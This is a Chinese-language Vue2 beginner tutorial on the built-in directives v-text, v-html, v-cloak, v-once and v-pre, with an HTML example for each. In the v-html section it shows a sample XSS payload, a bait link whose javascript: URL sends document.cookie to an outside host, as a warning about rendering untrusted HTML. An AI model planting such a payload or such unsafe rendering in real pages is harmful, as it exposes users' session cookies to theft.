Vue2入门之超详细教程十七-常用内置命令集合
Vue2入门之超详细教程十四-常用内置指令集合
1、简介
常用内置指令集合
- v-bind：单向绑定解析表达式，可简写为:xxx
- v-model：双向数据绑定
- v-for：遍历数组/对象/字符串
- v-on：绑定时间监听，可简写为@
- v-if：条件渲染（动态控制节点是否存在）
- v-else：条件渲染（动态控制节点是否存在）
- v-show：条件渲染（动态控制节点是否展示）
以上是我们已经学过的内置指令，除了这些以外，还有很多比如
- v-text：
- 作用：向所在的节点中渲染文本内容
- 与插值语法的区别：v-text会替换掉节点中的内容
- v-html：
- 作用：向指定节点中渲染包含html结构的内容。
- 与插值语法的区别：
- v-html会替换掉节点汇总所有的内容
- v-html可以识别html结构
- 注意：v-html有安全性问题
- 在网站上动态渲染任意html是非常危险的，容易导致xss攻击
- 一定要在可信任的内容上使用v-html，永远不要在用户提交的内容上使用
- v-cloak：
- 本质是一个特殊的属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性
- 使用css配合v-cloak可以解决网速慢时展示出{{xxx}}的问题
- v-once：
- v-once所在节点在初次动态渲染后，就视为静态内容了
- 以后的数据的改变不会引起v-once所在结构的更新，可以用于优化性能
- v-pre：
- 跳过其所在节点的编译过程
- 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译
学习Vue之前最后会一些HTML和CSS的基础知识，HTML基础知识 传送门，CSS基础知识 传送门。
2、常用内置指令
1. v-text指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script type="text/javascript" src="../js/development/vue.js"></script>
</head>
<body>
<div id="root">
<div>{{name}}</div>
<div v-text="name"></div>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data(){
return {
name:'Mr.Li'
}
}
})
</script>
</html>
以上代码分别通过插值语法{{}}和v-text指令，将name的值显示在页面中，通过页面展示感觉v-text和插值语法实现的功能相同
但在大部分时间我们更喜欢使用插值语法，因为v-text是将标签中的内容完全他替代，比如我们像显示"你好Mr.Li"，在插值语法中我们可以这样写
<div>你好{{name}}</div>
但你用v-text这样写是不可以的
<div v-text="name">你好</div>
2. v-html指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script type="text/javascript" src="../js/development/vue.js"></script>
</head>
<body>
<div id="root">
<div>你好{{name}}</div>
<div v-html="str">你好</div>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data(){
return {
name:'Mr.Li',
str:'<h3>你好啊！</h3>'
}
}
})
</script>
</html>
v-html和v-text的相似，也会替换掉原本的文本内容，区别在于v-html会把
3>对应的格式解析为标签，v-text则解析为纯文本
注意：v-html要慎用，因为有安全隐患
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script type="text/javascript" src="../js/development/vue.js"></script>
</head>
<body>
<div id="root">
<div>你好{{name}}</div>
<div v-html="str">你好</div>
<div v-html="str2">你好</div>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data(){
return {
name:'Mr.Li',
str:'<h3>你好啊！</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com" + document.cookie>兄弟点我，有资源</a>'
}
}
})
</script>
</html>
这样会把你cookie信息拿到
3. v-cloak指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
[v-cloak]{
display:none;
}
</style>
</head>
<body>
<div id="app">
<div>{{message}}</div>
<div v-cloak>{{message}}</div>
</div>
<script src="https://unpkg.com/vue@next"></script>
<script>
const vm = Vue.createApp({
data:function(){
return {
message:'V-cloak指令用于在Vue实例加载完成之前隐藏元素或组件。它的作用是确保在Vue实例加载完成之前，元素或组件不会显示在屏幕上，从而消除了页面闪烁的问题。'
}
}
}).mount('#app')
</script>
</body>
</html>
以上代码中我们没有引用本地的vue.js代码，而是引用了cdn网络中的代码，这样可以减小项目体积，但网络是存在延迟为题的，当项目还未加载完vue内容时，相应的语法是不生效的，所以第一个message内容就无法解析，V-cloak指令用于在Vue实例加载完成之前隐藏元素或组件。它的作用是确保在Vue实例加载完成之前，元素或组件不会显示在屏幕上，从而消除了页面闪烁的问题。
4. v-once指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script type="text/javascript" src="../js/development/vue.js"></script>
</head>
<body>
<div id="root">
<h2>当前的n值是：{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data(){
return {
n:1,
}
}
})
</script>
</html>
以上代码每次点击按钮，会吧n的值+1，目前我们有一个要求，就是即显示初始化时的值，也显示+1后的值
<h2>初始化的值{{n}}</h2>
如果只是这样写，当我们点击n+1按钮时，初始化的值也会跟着+1，这不是我们想要的
<h2 v-once>初始化的值{{n}}</h2>
当加上v-once后，该值只会渲染一次
5. v-pre指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script type="text/javascript" src="../js/development/vue.js"></script>
</head>
<body>
<div id="root">
<h2 v-pre>Vue很简单</h2>
<h2 v-pre>当前的n值是：{{n}}</h2>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data(){
return {
n:1,
}
}
})
</script>
</html>
v-pre指令不需要表达式，不解析这个元素和它的子元素。
